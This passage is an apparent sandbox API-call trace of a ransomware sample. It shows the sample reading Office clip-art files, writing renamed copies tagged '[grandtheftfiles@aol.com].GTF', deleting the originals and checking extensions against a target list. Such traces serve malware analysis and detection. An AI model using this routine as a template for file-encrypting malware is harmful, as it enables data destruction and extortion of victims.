	[0083.955] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0083.955] GetLastError () returned 0x0
	[0083.956] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x876, lpOverlapped=0x0) returned 1
	[0083.973] WriteFile (in: hFile=0x398, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x880, lpOverlapped=0x0) returned 1
	[0083.975] ReadFile (in: hFile=0x388, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.975] WriteFile (in: hFile=0x398, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.975] SetEndOfFile (hFile=0x398) returned 1
	[0083.975] CloseHandle (hObject=0x398) returned 1
	[0083.976] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.976] SetEndOfFile (hFile=0x388) returned 1
	[0083.977] CloseHandle (hObject=0x388) returned 1
	[0083.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString=".doc") returned 4
	[0083.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString=".docx") returned 5
	[0083.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.978] lstrlenW (lpString=".pdf") returned 4
	[0083.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString=".xls") returned 4
	[0083.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.978] lstrlenW (lpString=".xlsx") returned 5
	[0083.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.978] lstrlenW (lpString=".ppt") returned 4
	[0083.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString=".zip") returned 4
	[0083.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.978] lstrlenW (lpString=".rar") returned 4
	[0083.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString=".bz2") returned 4
	[0083.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString=".7z") returned 3
	[0083.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString=".dbf") returned 4
	[0083.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString=".1cd") returned 4
	[0083.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString=".jpg") returned 4
	[0083.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.978] lstrlenW (lpString=".doc") returned 4
	[0083.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString=".docx") returned 5
	[0083.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.979] lstrlenW (lpString=".pdf") returned 4
	[0083.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString=".xls") returned 4
	[0083.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.979] lstrlenW (lpString=".xlsx") returned 5
	[0083.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.979] lstrlenW (lpString=".ppt") returned 4
	[0083.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.979] lstrlenW (lpString=".zip") returned 4
	[0083.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.979] lstrlenW (lpString=".rar") returned 4
	[0083.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString=".bz2") returned 4
	[0083.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString=".7z") returned 3
	[0083.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.979] lstrlenW (lpString=".dbf") returned 4
	[0083.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.979] lstrlenW (lpString=".1cd") returned 4
	[0083.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0083.979] lstrlenW (lpString=".jpg") returned 4
	[0083.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.979] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.979] lstrlenW (lpString="BS00184_.WMF") returned 12
	[0083.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.798] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=4976) returned 1
	[0084.798] CloseHandle (hObject=0x364) returned 1
	[0084.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x220
	[0084.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.798] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.798] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.799] GetLastError () returned 0x0
	[0084.799] ReadFile (in: hFile=0x364, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1370, lpOverlapped=0x0) returned 1
	[0084.800] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1380, lpOverlapped=0x0) returned 1
	[0084.869] ReadFile (in: hFile=0x364, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.869] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.869] SetEndOfFile (hFile=0x368) returned 1
	[0084.869] CloseHandle (hObject=0x368) returned 1
	[0084.871] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.871] SetEndOfFile (hFile=0x364) returned 1
	[0084.871] CloseHandle (hObject=0x364) returned 1
	[0084.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1
	[0084.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.872] lstrlenW (lpString=".doc") returned 4
	[0084.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.872] lstrlenW (lpString=".docx") returned 5
	[0084.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.872] lstrlenW (lpString=".pdf") returned 4
	[0084.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.872] lstrlenW (lpString=".xls") returned 4
	[0084.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.873] lstrlenW (lpString=".xlsx") returned 5
	[0084.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.873] lstrlenW (lpString=".ppt") returned 4
	[0084.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".zip") returned 4
	[0084.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.873] lstrlenW (lpString=".rar") returned 4
	[0084.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".bz2") returned 4
	[0084.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".7z") returned 3
	[0084.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".dbf") returned 4
	[0084.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".1cd") returned 4
	[0084.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".jpg") returned 4
	[0084.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.873] lstrlenW (lpString=".doc") returned 4
	[0084.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".docx") returned 5
	[0084.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.873] lstrlenW (lpString=".pdf") returned 4
	[0084.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString=".xls") returned 4
	[0084.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.873] lstrlenW (lpString=".xlsx") returned 5
	[0084.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.873] lstrlenW (lpString=".ppt") returned 4
	[0084.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".zip") returned 4
	[0084.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.874] lstrlenW (lpString=".rar") returned 4
	[0084.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString=".bz2") returned 4
	[0084.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString=".7z") returned 3
	[0084.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".dbf") returned 4
	[0084.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".1cd") returned 4
	[0084.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68
	[0084.874] lstrlenW (lpString=".jpg") returned 4
	[0084.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.874] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.874] lstrlenW (lpString="BS00444_.WMF") returned 12
	[0084.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.876] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3896) returned 1
	[0084.876] CloseHandle (hObject=0x364) returned 1
	[0084.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 0x220
	[0084.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.876] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.876] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0084.877] GetLastError () returned 0x0
	[0084.877] ReadFile (in: hFile=0x364, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xf38, lpOverlapped=0x0) returned 1
	[0084.878] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf40, lpOverlapped=0x0) returned 1
	[0084.879] ReadFile (in: hFile=0x364, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.879] WriteFile (in: hFile=0x368, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.880] SetEndOfFile (hFile=0x368) returned 1
	[0084.880] CloseHandle (hObject=0x368) returned 1
	[0084.882] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.882] SetEndOfFile (hFile=0x364) returned 1
	[0084.883] CloseHandle (hObject=0x364) returned 1
	[0084.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf")) returned 1
	[0084.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.883] lstrlenW (lpString=".doc") returned 4
	[0084.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.883] lstrlenW (lpString=".docx") returned 5
	[0084.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.883] lstrlenW (lpString=".pdf") returned 4
	[0084.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.883] lstrlenW (lpString=".xls") returned 4
	[0084.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.883] lstrlenW (lpString=".xlsx") returned 5
	[0084.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.884] lstrlenW (lpString=".ppt") returned 4
	[0084.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString=".zip") returned 4
	[0084.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.884] lstrlenW (lpString=".rar") returned 4
	[0084.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString=".bz2") returned 4
	[0084.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString=".7z") returned 3
	[0084.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString=".dbf") returned 4
	[0084.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString=".1cd") returned 4
	[0084.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString=".jpg") returned 4
	[0084.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString=".doc") returned 4
	[0084.884] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString=".docx") returned 5
	[0084.884] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.884] lstrlenW (lpString=".pdf") returned 4
	[0084.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString=".xls") returned 4
	[0084.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.884] lstrlenW (lpString=".xlsx") returned 5
	[0084.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.884] lstrlenW (lpString=".ppt") returned 4
	[0084.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.884] lstrlenW (lpString=".zip") returned 4
	[0084.885] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.885] lstrlenW (lpString=".rar") returned 4
	[0084.885] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.885] lstrlenW (lpString=".bz2") returned 4
	[0084.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.885] lstrlenW (lpString=".7z") returned 3
	[0084.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.885] lstrlenW (lpString=".dbf") returned 4
	[0084.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.885] lstrlenW (lpString=".1cd") returned 4
	[0084.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 68
	[0084.885] lstrlenW (lpString=".jpg") returned 4
	[0084.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.885] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.885] lstrlenW (lpString="BS00445_.WMF") returned 12
	[0084.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0084.886] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=3796) returned 1
	[0084.886] CloseHandle (hObject=0x364) returned 1
	[0084.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x220
	[0084.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
